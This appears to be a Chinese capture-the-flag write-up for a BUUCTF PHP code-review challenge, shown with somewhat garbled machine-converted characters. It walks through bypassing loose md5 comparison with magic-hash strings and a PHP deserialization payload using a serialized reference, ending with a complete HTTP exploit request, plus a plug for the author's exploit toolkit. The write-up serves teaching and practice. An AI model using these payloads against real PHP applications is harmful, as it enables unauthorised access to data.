BUUCTF 基礎CODE REVIEW

一、說明:

題目來自於BUUCTF 的基礎部分,內容就如題,是一個代碼審計。代碼以下:php

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

二、代碼內容分析

代碼主要能夠分爲4部分,以下圖
html

0部分爲一個class,並且在第三部分看見了反序列化unserialize($_POST['obj']); 內容,那麼就十之八九是反序列化。可是先不用去處理。且在class中能夠得到flag的值。node

1部分爲一個IF 知足進入的條件爲get 傳參的值爲1web

2部分也是一個IF 知足條件爲post 傳參的值爲2數據庫

3部分也是一個IF 知足條件爲 須要兩個不一樣的數。且這兩個不一樣的數值的md5 的卻相同 。數組

若是 123 條件都知足以後就會執行反序列化,經過POST 傳參obj 執行,而後進入區域0app

0區域也有一個IF 知足條件爲屬性correct與屬性input相等。 可是correct 倒是利用一個時間進行計算的值的base64 值。ide

三、以上每一個條件的知足方式

第一部分

只須要在url 中傳參便可,以下圖
函數

第二部分

使用burpsuit截斷內容,改變傳輸方式爲POST。以下
post

改變爲POST 以後, URL 中傳值的1 也會自動下來, 須要手動調整上去。

第三部分

第三部分爲md5值得比較。一般能夠用數組 作比較繞過和弱類型 比較繞過。
這裏使用弱類型比較繞過。
原理:PHP 當中使用== 來進行比較的時候,系統會自動處理數據類型, 進行分析是數字比較仍是字符比較。 而當一個字符串值是e0開通的時候,那麼就會被當中數值。而e0xxxxxx都爲0.
那麼就只須要找到兩個不一樣的數值,開頭倒是以e0開頭的便可。也是蠻多的,以下圖中所示。

而後傳參md51md52 便可。 這樣就能夠達到md51md52 不相同。 可是他們的md5值卻在php中相等。
傳參方式和post同樣, 使用& 符號連接。 內容以下圖:

反序列化與引用處理。

反序列化的處理方式很簡單。 值須要將原class 中的方法去掉,放進php在線運行 中去,序列化一下便可得到能夠運行的序列化內容。
如圖:

可是以上序列化以後的字符串經過post['obj'] 只能達到解析的目的。 解析後內容能夠控制。卻由於uniqid()函數產生的數是隨時變化的,沒法預測,因此input 傳值多少沒法肯定。

這裏就是本題的重要考點引用 的反序列化。 咱們能夠簡單的把引用簡單的理解爲C 語言中的地址指針。
看以下代碼

$a=&$b;
$a=1;//此時 輸出$b 那麼變量b就爲1
$a=123;//此時輸出$b 那麼變量b就爲123

由以上代碼能夠發現,當變量b爲a的引用的時候,b的值隨a變化。

道理我都懂了, 那麼只須要$this->input$this->correct 的引用便可。

$this->input=&$this->correct

構造方式以下圖:

只須要在序列化的時候設置一下便可。

完整poc以下圖

http報文以下

POST /?pleaseget=1 HTTP/1.1
Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded

pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

私貨

limanmanExp 5.2版本發佈了。 增長了數據庫審計插件。 想要的小夥伴能夠看B站。

https://www.bilibili.com/video/BV1UK4y1U7G6
下載地址在簡介中。 還附帶了一些簡單的exp插件。 若是有興趣自定義開發插件,也能夠在看雲手冊中查看開發方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143

相關文章
相關標籤/搜索